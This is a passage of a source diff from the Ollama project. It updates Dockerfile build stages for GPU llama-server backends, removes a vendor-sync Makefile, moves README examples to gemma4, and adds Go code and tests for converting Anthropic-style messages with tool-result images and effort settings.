FROM scratch AS publish-llama-server-cuda_v12
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM cuda-13-deps AS llama-server-cuda_v13
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_v13_linux \
|
||||
&& cmake --build build/llama-server-cuda_v13 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_v13 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_v13
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM rocm-7-deps AS llama-server-rocm_v7_2
|
||||
ENV CC=clang CXX=clang++
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset rocm_v7_2_linux \
|
||||
&& cmake --build build/llama-server-rocm_v7_2 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-rocm_v7_2 --component llama-server --strip
|
||||
RUN rm -f dist/lib/ollama/rocm_v7_2/rocblas/library/*gfx90[06]*
|
||||
|
||||
FROM scratch AS publish-llama-server-rocm_v7_2
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM vulkan-deps AS llama-server-vulkan
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset vulkan \
|
||||
&& cmake --build build/llama-server-vulkan -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-vulkan --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-vulkan
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# JetPack stages — self-contained with their own base images
|
||||
#
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK5VERSION} AS jetpack-5
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack5 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack5 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack5 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack5
|
||||
COPY --from=jetpack-5 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 nvcr.io/nvidia/l4t-jetpack:${JETPACK6VERSION} AS jetpack-6
|
||||
ARG CMAKEVERSION
|
||||
ARG NINJAVERSION
|
||||
RUN apt-get update && apt-get install -y curl ccache git unzip \
|
||||
&& curl -fsSL https://github.com/Kitware/CMake/releases/download/v${CMAKEVERSION}/cmake-${CMAKEVERSION}-linux-$(uname -m).tar.gz | tar xz -C /usr/local --strip-components 1 \
|
||||
&& curl -fsSL -o /tmp/ninja.zip https://github.com/ninja-build/ninja/releases/download/v${NINJAVERSION}/ninja-linux-aarch64.zip \
|
||||
&& unzip /tmp/ninja.zip -d /usr/local/bin \
|
||||
&& rm /tmp/ninja.zip
|
||||
ENV CMAKE_GENERATOR=Ninja
|
||||
COPY LLAMA_CPP_VERSION .
|
||||
COPY llama/server llama/server
|
||||
COPY llama/compat llama/compat
|
||||
RUN --mount=type=cache,target=/root/.ccache \
|
||||
cmake -S llama/server --preset llama_cuda_jetpack6 \
|
||||
&& cmake --build build/llama-server-cuda_jetpack6 -- -l $(nproc) \
|
||||
&& cmake --install build/llama-server-cuda_jetpack6 --component llama-server --strip
|
||||
|
||||
FROM scratch AS publish-llama-server-cuda_jetpack6
|
||||
COPY --from=jetpack-6 dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# MLX stage
|
||||
#
|
||||
|
||||
FROM base AS mlx
|
||||
ARG CUDA13VERSION=13.0
|
||||
ARG OLLAMA_MLX_BUILD_JOBS=
|
||||
ARG OLLAMA_MLX_NVCC_THREADS=2
|
||||
ARG MLX_CUDA_RAM_MB=
|
||||
RUN dnf install -y cuda-toolkit-${CUDA13VERSION//./-} \
|
||||
&& dnf install -y openblas-devel lapack-devel \
|
||||
&& dnf install -y libcudnn9-cuda-13 libcudnn9-devel-cuda-13 \
|
||||
@@ -154,7 +212,7 @@ ENV LAPACK_INCLUDE_DIRS=/usr/include/openblas
|
||||
ENV CGO_LDFLAGS="-L/usr/local/cuda-13/lib64 -L/usr/local/cuda-13/targets/x86_64-linux/lib/stubs"
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
COPY CMakeLists.txt CMakePresets.json .
|
||||
COPY ml/backend/ggml/ggml ml/backend/ggml/ggml
|
||||
COPY cmake cmake
|
||||
COPY x/imagegen/mlx x/imagegen/mlx
|
||||
COPY go.mod go.sum .
|
||||
COPY MLX_VERSION MLX_C_VERSION .
|
||||
@@ -170,9 +228,15 @@ RUN --mount=type=cache,target=/root/.ccache \
|
||||
&& if [ -f /tmp/local-mlx-c/CMakeLists.txt ]; then \
|
||||
export OLLAMA_MLX_C_SOURCE=/tmp/local-mlx-c; \
|
||||
fi \
|
||||
&& cmake --preset 'MLX CUDA 13' -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas \
|
||||
&& cmake --build --preset 'MLX CUDA 13' -- -l $(nproc) \
|
||||
&& cmake --install build --component MLX --strip
|
||||
&& cmake -S . -B build/mlx_cuda_v13 -DOLLAMA_MLX_BACKENDS=cuda_v13 -DBLAS_INCLUDE_DIRS=/usr/include/openblas -DLAPACK_INCLUDE_DIRS=/usr/include/openblas -DCMAKE_CUDA_FLAGS="-t ${OLLAMA_MLX_NVCC_THREADS}" ${MLX_CUDA_RAM_MB:+-DMLX_CUDA_RAM_MB=${MLX_CUDA_RAM_MB}} -DOLLAMA_PAYLOAD_INSTALL_PREFIX=/go/src/github.com/ollama/ollama/dist \
|
||||
&& cmake --build build/mlx_cuda_v13 --target ollama-mlx-cuda_v13 -- -l $(nproc) ${OLLAMA_MLX_BUILD_JOBS:+-j ${OLLAMA_MLX_BUILD_JOBS}}
|
||||
|
||||
FROM scratch AS publish-mlx
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
#
|
||||
# Go build
|
||||
#
|
||||
|
||||
FROM base AS build
|
||||
WORKDIR /go/src/github.com/ollama/ollama
|
||||
@@ -190,35 +254,62 @@ ENV CGO_CXXFLAGS="${CGO_CXXFLAGS}"
|
||||
RUN --mount=type=cache,target=/root/.cache/go-build \
|
||||
go build -trimpath -buildmode=pie -o /bin/ollama .
|
||||
|
||||
FROM scratch AS publish-go
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
#
|
||||
# Assembly stages — combine llama-server variants + GPU runtime libs
|
||||
#
|
||||
|
||||
FROM --platform=linux/amd64 scratch AS amd64
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=vulkan dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-vulkan dist/lib/ollama /lib/ollama/
|
||||
COPY --from=mlx /go/src/github.com/ollama/ollama/dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64
|
||||
# COPY --from=cuda-11 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=cuda-12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=cuda-13 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v12 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-cuda_v13 dist/lib/ollama /lib/ollama/
|
||||
COPY --from=jetpack-5 dist/lib/ollama/ /lib/ollama/
|
||||
COPY --from=jetpack-6 dist/lib/ollama/ /lib/ollama/
|
||||
|
||||
FROM scratch AS rocm
|
||||
COPY --from=rocm-7 dist/lib/ollama /lib/ollama
|
||||
COPY --from=llama-server-cpu dist/lib/ollama /lib/ollama
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama
|
||||
|
||||
FROM ${FLAVOR} AS archive
|
||||
COPY --from=cpu dist/lib/ollama /lib/ollama
|
||||
FROM --platform=linux/amd64 scratch AS amd64-archive
|
||||
COPY --from=amd64 /lib/ollama /lib/ollama/
|
||||
COPY --from=llama-server-rocm_v7_2 dist/lib/ollama /lib/ollama/
|
||||
|
||||
FROM --platform=linux/arm64 scratch AS arm64-archive
|
||||
COPY --from=arm64 /lib/ollama /lib/ollama/
|
||||
|
||||
FROM ${TARGETARCH}-archive AS archive
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ${FLAVOR} AS image-archive
|
||||
COPY --from=build /bin/ollama /bin/ollama
|
||||
|
||||
FROM ubuntu:24.04
|
||||
RUN apt-get update \
|
||||
ARG APT_MIRROR=http://archive.ubuntu.com/ubuntu
|
||||
ARG APT_PORTS_MIRROR=http://ports.ubuntu.com/ubuntu-ports
|
||||
RUN sed -i \
|
||||
-e "s|http://archive.ubuntu.com/ubuntu|$APT_MIRROR|g" \
|
||||
-e "s|http://ports.ubuntu.com/ubuntu-ports|$APT_PORTS_MIRROR|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get update \
|
||||
&& apt-get install -y ca-certificates libvulkan1 libopenblas0 \
|
||||
&& sed -i \
|
||||
-e "s|$APT_MIRROR|http://archive.ubuntu.com/ubuntu|g" \
|
||||
-e "s|$APT_PORTS_MIRROR|http://ports.ubuntu.com/ubuntu-ports|g" \
|
||||
/etc/apt/sources.list.d/ubuntu.sources \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
COPY --from=archive /bin /usr/bin
|
||||
COPY --from=image-archive /bin /usr/bin
|
||||
ENV PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
||||
COPY --from=archive /lib/ollama /usr/lib/ollama
|
||||
COPY --from=image-archive /lib/ollama /usr/lib/ollama
|
||||
ENV LD_LIBRARY_PATH=/usr/local/nvidia/lib:/usr/local/nvidia/lib64
|
||||
ENV NVIDIA_DRIVER_CAPABILITIES=compute,utility
|
||||
ENV NVIDIA_VISIBLE_DEVICES=all
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
b9672
|
||||
+1
-1
@@ -1 +1 @@
|
||||
0726ca922fc902c4c61ef9c27d94132be418e945
|
||||
fba4470b89073180056c9ea46c443051375f7399
|
||||
+1
-1
@@ -1 +1 @@
|
||||
38ad257088fb2193ad47e527cf6534a689f30943
|
||||
2165dc08d7b33258260aa849d39f087d50e62962
|
||||
@@ -1,76 +0,0 @@
|
||||
UPSTREAM=https://github.com/ggml-org/llama.cpp.git
|
||||
WORKDIR=llama/vendor
|
||||
FETCH_HEAD=ec98e2002
|
||||
|
||||
.PHONY: help
|
||||
help:
|
||||
@echo "Available targets:"
|
||||
@echo " sync Sync with upstream repositories"
|
||||
@echo " checkout Checkout upstream repository"
|
||||
@echo " apply-patches Apply patches to local repository"
|
||||
@echo " format-patches Format patches from local repository"
|
||||
@echo " clean Clean local repository"
|
||||
@echo
|
||||
@echo "Example:"
|
||||
@echo " make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches sync"
|
||||
|
||||
.PHONY: sync
|
||||
sync: llama/build-info.cpp ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal
|
||||
|
||||
llama/build-info.cpp: llama/build-info.cpp.in llama/llama.cpp
|
||||
sed -e 's|@FETCH_HEAD@|$(FETCH_HEAD)|' <$< >$@
|
||||
|
||||
ml/backend/ggml/ggml/src/ggml-metal/ggml-metal-embed.metal: ml/backend/ggml/ggml
|
||||
go generate ./$(@D)
|
||||
|
||||
.PHONY: llama/llama.cpp
|
||||
llama/llama.cpp: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /) $@
|
||||
|
||||
.PHONY: ml/backend/ggml/ggml
|
||||
ml/backend/ggml/ggml: llama/vendor
|
||||
rsync -arvzc --delete -f "include LICENSE" -f "merge $@/.rsync-filter" $(addprefix $<,/LICENSE /ggml/) $@
|
||||
|
||||
PATCHES=$(wildcard llama/patches/*.patch)
|
||||
PATCHED=$(join $(dir $(PATCHES)), $(addsuffix ed, $(addprefix ., $(notdir $(PATCHES)))))
|
||||
|
||||
.PHONY: apply-patches
|
||||
.NOTPARALLEL:
|
||||
apply-patches: $(PATCHED)
|
||||
|
||||
llama/patches/.%.patched: llama/patches/%.patch
|
||||
@if git -c user.name=nobody -c 'user.email=<>' -C $(WORKDIR) am -3 $(realpath $<); then \
|
||||
touch $@; \
|
||||
else \
|
||||
echo "Patch failed. Resolve any conflicts then continue."; \
|
||||
echo "1. Run 'git -C $(WORKDIR) am --continue'"; \
|
||||
echo "2. Run 'make -f $(lastword $(MAKEFILE_LIST)) format-patches'"; \
|
||||
echo "3. Run 'make -f $(lastword $(MAKEFILE_LIST)) clean apply-patches'"; \
|
||||
exit 1; \
|
||||
fi
|
||||
|
||||
.PHONY: checkout
|
||||
checkout: $(WORKDIR)
|
||||
git -C $(WORKDIR) fetch
|
||||
git -C $(WORKDIR) checkout -f $(FETCH_HEAD)
|
||||
|
||||
$(WORKDIR):
|
||||
git clone $(UPSTREAM) $(WORKDIR)
|
||||
|
||||
.PHONY: format-patches
|
||||
format-patches: llama/patches
|
||||
git -C $(WORKDIR) format-patch \
|
||||
--no-signature \
|
||||
--no-numbered \
|
||||
--zero-commit \
|
||||
-o $(realpath $<) \
|
||||
$(FETCH_HEAD)
|
||||
|
||||
.PHONY: clean
|
||||
clean: checkout
|
||||
@git -C $(WORKDIR) am --abort || true
|
||||
$(RM) llama/patches/.*.patched
|
||||
|
||||
.PHONY: print-base
|
||||
print-base:
|
||||
@echo $(FETCH_HEAD)
|
||||
@@ -77,10 +77,10 @@ ollama launch openclaw
|
||||
|
||||
### Chat with a model
|
||||
|
||||
Run and chat with [Gemma 3](https://ollama.com/library/gemma3):
|
||||
Run and chat with [Gemma 4](https://ollama.com/library/gemma4):
|
||||
|
||||
```
|
||||
ollama run gemma3
|
||||
ollama run gemma4
|
||||
```
|
||||
|
||||
See [ollama.com/library](https://ollama.com/library) for the full list.
|
||||
@@ -93,7 +93,7 @@ Ollama has a REST API for running and managing models.
|
||||
|
||||
```
|
||||
curl http://localhost:11434/api/chat -d '{
|
||||
"model": "gemma3",
|
||||
"model": "gemma4",
|
||||
"messages": [{
|
||||
"role": "user",
|
||||
"content": "Why is the sky blue?"
|
||||
@@ -113,7 +113,7 @@ pip install ollama
|
||||
```python
|
||||
from ollama import chat
|
||||
|
||||
response = chat(model='gemma3', messages=[
|
||||
response = chat(model='gemma4', messages=[
|
||||
{
|
||||
'role': 'user',
|
||||
'content': 'Why is the sky blue?',
|
||||
@@ -132,7 +132,7 @@ npm i ollama
|
||||
import ollama from "ollama";
|
||||
|
||||
const response = await ollama.chat({
|
||||
model: "gemma3",
|
||||
model: "gemma4",
|
||||
messages: [{ role: "user", content: "Why is the sky blue?" }],
|
||||
});
|
||||
console.log(response.message.content);
|
||||
|
||||
+106
-28
@@ -78,6 +78,11 @@ type MessagesRequest struct {
|
||||
ToolChoice *ToolChoice `json:"tool_choice,omitempty"`
|
||||
Thinking *ThinkingConfig `json:"thinking,omitempty"`
|
||||
Metadata *Metadata `json:"metadata,omitempty"`
|
||||
OutputConfig *OutputConfig `json:"output_config,omitempty"`
|
||||
}
|
||||
|
||||
type OutputConfig struct {
|
||||
Effort string `json:"effort,omitempty"`
|
||||
}
|
||||
|
||||
// MessageParam represents a message in the request
|
||||
@@ -161,7 +166,7 @@ type WebSearchToolResultError struct {
|
||||
|
||||
// ImageSource represents the source of an image
|
||||
type ImageSource struct {
|
||||
Type string `json:"type"` // "base64" or "url"
|
||||
Type string `json:"type"` // "base64"
|
||||
MediaType string `json:"media_type,omitempty"`
|
||||
Data string `json:"data,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
@@ -373,9 +378,26 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
|
||||
}
|
||||
|
||||
var think *api.ThinkValue
|
||||
normalizedEffort := ""
|
||||
if r.OutputConfig != nil {
|
||||
normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
|
||||
if normalizedEffort == "xhigh" {
|
||||
normalizedEffort = "high"
|
||||
}
|
||||
}
|
||||
|
||||
if r.Thinking != nil && r.Thinking.Type == "enabled" {
|
||||
think = &api.ThinkValue{Value: true}
|
||||
}
|
||||
if r.Thinking != nil && r.Thinking.Type == "disabled" {
|
||||
think = &api.ThinkValue{Value: false}
|
||||
}
|
||||
if think == nil && r.OutputConfig != nil {
|
||||
switch normalizedEffort {
|
||||
case "high", "medium", "low", "max":
|
||||
think = &api.ThinkValue{Value: normalizedEffort}
|
||||
}
|
||||
}
|
||||
|
||||
stream := r.Stream
|
||||
convertedRequest := &api.ChatRequest{
|
||||
@@ -425,17 +447,12 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
return nil, errors.New("invalid image source")
|
||||
}
|
||||
|
||||
if block.Source.Type == "base64" {
|
||||
decoded, err := base64.StdEncoding.DecodeString(block.Source.Data)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: invalid base64 image data", "role", role, "error", err)
|
||||
return nil, fmt.Errorf("invalid base64 image data: %w", err)
|
||||
}
|
||||
images = append(images, decoded)
|
||||
} else {
|
||||
logutil.Trace("anthropic: unsupported image source type", "role", role, "source_type", block.Source.Type)
|
||||
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", block.Source.Type)
|
||||
decoded, err := resolveImageSource(block.Source)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
|
||||
return nil, err
|
||||
}
|
||||
images = append(images, decoded)
|
||||
|
||||
case "tool_use":
|
||||
toolUseBlocks++
|
||||
@@ -457,26 +474,16 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
|
||||
case "tool_result":
|
||||
toolResultBlocks++
|
||||
var resultContent string
|
||||
|
||||
switch c := block.Content.(type) {
|
||||
case string:
|
||||
resultContent = c
|
||||
case []any:
|
||||
for _, cb := range c {
|
||||
if cbMap, ok := cb.(map[string]any); ok {
|
||||
if cbMap["type"] == "text" {
|
||||
if text, ok := cbMap["text"].(string); ok {
|
||||
resultContent += text
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
resultContent, resultImages, err := convertToolResultContent(block.Content)
|
||||
if err != nil {
|
||||
logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
|
||||
return nil, err
|
||||
}
|
||||
|
||||
toolResults = append(toolResults, api.Message{
|
||||
Role: "tool",
|
||||
Content: resultContent,
|
||||
Images: resultImages,
|
||||
ToolCallID: block.ToolUseID,
|
||||
})
|
||||
|
||||
@@ -508,6 +515,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
}
|
||||
}
|
||||
|
||||
if role == "user" && len(toolResults) > 0 {
|
||||
messages = append(messages, toolResults...)
|
||||
}
|
||||
|
||||
if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
|
||||
m := api.Message{
|
||||
Role: role,
|
||||
@@ -519,8 +530,10 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
|
||||
messages = append(messages, m)
|
||||
}
|
||||
|
||||
// Add tool results as separate messages
|
||||
messages = append(messages, toolResults...)
|
||||
// Add tool results as separate messages.
|
||||
if role != "user" || len(toolResults) == 0 {
|
||||
messages = append(messages, toolResults...)
|
||||
}
|
||||
logutil.Trace("anthropic: converted block message",
|
||||
"role", role,
|
||||
"blocks", len(msg.Content),
|
||||
@@ -969,6 +982,71 @@ func GenerateMessageID() string {
|
||||
return generateID("msg")
|
||||
}
|
||||
|
||||
func resolveImageSource(source *ImageSource) (api.ImageData, error) {
|
||||
if source.Type != "base64" {
|
||||
return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
|
||||
}
|
||||
|
||||
decoded, err := base64.StdEncoding.DecodeString(source.Data)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("invalid base64 image data: %w", err)
|
||||
}
|
||||
|
||||
return decoded, nil
|
||||
}
|
||||
|
||||
func convertToolResultContent(content any) (string, []api.ImageData, error) {
|
||||
switch c := content.(type) {
|
||||
case nil:
|
||||
return "", nil, nil
|
||||
case string:
|
||||
return c, nil, nil
|
||||
case []any:
|
||||
var text strings.Builder
|
||||
var images []api.ImageData
|
||||
|
||||
for _, cb := range c {
|
||||
cbMap, ok := cb.(map[string]any)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
|
||||
switch cbMap["type"] {
|
||||
case "text":
|
||||
if t, ok := cbMap["text"].(string); ok {
|
||||
text.WriteString(t)
|
||||
}
|
||||
case "image":
|
||||
rawSource, ok := cbMap["source"].(map[string]any)
|
||||
if !ok {
|
||||
return "", nil, errors.New("invalid tool_result image source")
|
||||
}
|
||||
|
||||
var source ImageSource
|
||||
if rawType, ok := rawSource["type"].(string); ok {
|
||||
source.Type = rawType
|
||||
}
|
||||
if rawMediaType, ok := rawSource["media_type"].(string); ok {
|
||||
source.MediaType = rawMediaType
|
||||
}
|
||||
if rawData, ok := rawSource["data"].(string); ok {
|
||||
source.Data = rawData
|
||||
}
|
||||
|
||||
img, err := resolveImageSource(&source)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
images = append(images, img)
|
||||
}
|
||||
}
|
||||
|
||||
return text.String(), images, nil
|
||||
default:
|
||||
return "", nil, nil
|
||||
}
|
||||
}
|
||||
|
||||
// ptr returns a pointer to the given string value
|
||||
func ptr(s string) *string {
|
||||
return &s
|
||||
|
||||
@@ -271,6 +271,241 @@ func TestFromMessagesRequest_WithToolResult(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithToolResultImage(t *testing.T) {
|
||||
imgData, _ := base64.StdEncoding.DecodeString(testImage)
|
||||
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
MaxTokens: 1024,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_result",
|
||||
ToolUseID: "call_img",
|
||||
Content: []any{
|
||||
map[string]any{"type": "text", "text": "Attached image"},
|
||||
map[string]any{
|
||||
"type": "image",
|
||||
"source": map[string]any{
|
||||
"type": "base64",
|
||||
"media_type": "image/png",
|
||||
"data": testImage,
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if len(result.Messages) != 1 {
|
||||
t.Fatalf("expected 1 message, got %d", len(result.Messages))
|
||||
}
|
||||
|
||||
msg := result.Messages[0]
|
||||
if msg.Role != "tool" {
|
||||
t.Errorf("expected role 'tool', got %q", msg.Role)
|
||||
}
|
||||
if msg.ToolCallID != "call_img" {
|
||||
t.Errorf("expected tool_call_id 'call_img', got %q", msg.ToolCallID)
|
||||
}
|
||||
if msg.Content != "Attached image" {
|
||||
t.Errorf("unexpected content: %q", msg.Content)
|
||||
}
|
||||
if len(msg.Images) != 1 {
|
||||
t.Fatalf("expected 1 image, got %d", len(msg.Images))
|
||||
}
|
||||
if string(msg.Images[0]) != string(imgData) {
|
||||
t.Error("image data mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithToolResultFollowedByUserText(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "test-model",
|
||||
MaxTokens: 1024,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "assistant",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_use",
|
||||
ID: "call_read",
|
||||
Name: "Read",
|
||||
Input: makeArgs("file_path", "/Users/hoyyeva/Desktop/aaa.png"),
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: []ContentBlock{
|
||||
{
|
||||
Type: "tool_result",
|
||||
ToolUseID: "call_read",
|
||||
Content: "Read image (311.5KB)",
|
||||
},
|
||||
{
|
||||
Type: "text",
|
||||
Text: ptr("Please describe it."),
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if len(result.Messages) != 3 {
|
||||
t.Fatalf("expected 3 messages, got %d", len(result.Messages))
|
||||
}
|
||||
|
||||
if result.Messages[1].Role != "tool" {
|
||||
t.Fatalf("expected second message to be tool, got %q", result.Messages[1].Role)
|
||||
}
|
||||
if result.Messages[1].ToolCallID != "call_read" {
|
||||
t.Fatalf("expected tool_call_id 'call_read', got %q", result.Messages[1].ToolCallID)
|
||||
}
|
||||
if result.Messages[2].Role != "user" {
|
||||
t.Fatalf("expected third message to be user, got %q", result.Messages[2].Role)
|
||||
}
|
||||
if result.Messages[2].Content != "Please describe it." {
|
||||
t.Fatalf("unexpected user content: %q", result.Messages[2].Content)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high', got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_WithOutputConfigEffortXHighMapsToHigh(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "xhigh",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set from output_config.effort")
|
||||
}
|
||||
|
||||
if got := result.Think.String(); got != "high" {
|
||||
t.Fatalf("expected think level 'high' for xhigh effort, got %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_ThinkingDisabledOverridesOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
Content: textContent("Describe the image."),
|
||||
},
|
||||
},
|
||||
Thinking: &ThinkingConfig{
|
||||
Type: "disabled",
|
||||
},
|
||||
OutputConfig: &OutputConfig{
|
||||
Effort: "high",
|
||||
},
|
||||
}
|
||||
|
||||
result, err := FromMessagesRequest(req)
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
|
||||
if result.Think == nil {
|
||||
t.Fatal("expected think to be set")
|
||||
}
|
||||
|
||||
if got := result.Think.Value; got != false {
|
||||
t.Fatalf("expected think=false when thinking is disabled, got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFromMessagesRequest_ThinkingAdaptiveUsesOutputConfigEffort(t *testing.T) {
|
||||
req := MessagesRequest{
|
||||
Model: "gemma4",
|
||||
MaxTokens: 32000,
|
||||
Messages: []MessageParam{
|
||||
{
|
||||
Role: "user",
|
||||
